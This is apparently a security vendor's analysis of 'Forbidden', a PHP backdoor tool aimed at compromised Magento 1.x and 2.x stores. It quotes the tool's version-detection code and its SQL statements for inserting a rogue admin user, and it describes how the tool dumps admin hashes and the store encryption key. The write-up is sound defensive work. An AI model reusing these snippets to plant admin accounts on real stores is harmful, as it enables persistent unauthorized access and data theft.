The Magento 1 EOL date has already passed, however it’s evident that a large number of websites will continue to use it for the foreseeable future. Unfortunately, attackers are also aware that many websites are struggling with their Magento migrations and post compromise tools have been created to support deployment for both Magento 1.x and 2.x versions, making it easier for them to exploit a larger number of sites.
Malicious Forbidden Activity
During a recent investigation, our team came across a tool aptly named Forbidden. It allows an attacker to quickly perform a number of malicious functions including adding an admin user, modifying existing users, viewing orders, dumping the website’s configuration data, and removing itself once the attacker is finished with it.
The (M2) name is used within the tool’s code to denote a Magento 2.x installation
Magento Versions & Malicious User Creation
To determine the version of Magento used, the tool checks to see which Magento configuration file exists for the website’s environment. Once the Magento version is identified, it assigns the appropriate boolean value to the $isM2 variable.
if (file_exists(str_repeat(‘../’, $i) . ‘app/etc/local.xml’)) { $isM2 = false; return realpath(str_repeat(‘../’, $i)); } if (file_exists(str_repeat(‘../’, $i) . ‘app/etc/env.php’)) { $isM2 = true; |
local.xml is used in Magento 1.x and env.php is used for Magento 2.x
Identifying whether a website is running 1.x or 2.x is critical information for this tool, since the malicious code to be run will vary depending on the Magento version. This is especially important when Forbidden needs to run SQL queries on the Magento database — for example, when adding a malicious admin user the tool uses an if/else statement based on the value of $isM2 (whether it’s Magento 1 or 2).
if ($isM2) { $q1 = “INSERT INTO `{$connd[‘r’]}admin_user` (`firstname`,`lastname`,`email`,`username`,`password`) VALUES (‘” . sql_escape($_POST[‘f’]) . “‘,'” . sql_escape($_POST[‘l’]) . “‘,'” . sql_escape($_POST[‘e’]) . “‘,'” . sql_escape($_POST[‘u’]) . “‘,'” . hash(‘sha256’, $salt . $_POST[‘p’]) . “:{$salt}:1′)”; } else { $q1 = “INSERT INTO `{$connd[‘r’]}admin_user` (`firstname`,`lastname`,`email`,`username`,`password`) VALUES (‘” . sql_escape($_POST[‘f’]) . “‘,'” . sql_escape($_POST[‘l’]) . “‘,'” . sql_escape($_POST[‘e’]) . “‘,'” . sql_escape($_POST[‘u’]) . “‘,'” . md5($salt . $_POST[‘p’]) . “:{$salt}’)”; } |
Harvesting Configuration Details
The “dump” function allows the attacker to quickly collect various configuration information from the database and the configuration file, depending on the Magento version. Some of this data includes the admin username, email address, and the hash of the password. It also includes the encryption key that is used by Magento for encrypting store data.
Conclusion & Mitigation Steps
It’s in an attacker’s best interest to maintain unauthorized access to the site’s environment for as long as possible, and backdoor tools such as these help them exploit a website’s resources, evade detection, and conceal indicators of compromise. This tool also facilitates the creation of malicious users, essentially creating other backdoors on the website’s environment.
Finding and removing website backdoors is not an easy task. The best way to mitigate risk of having a backdoor planted in your Magento environment is to harden your environment to protect against compromise in the first place.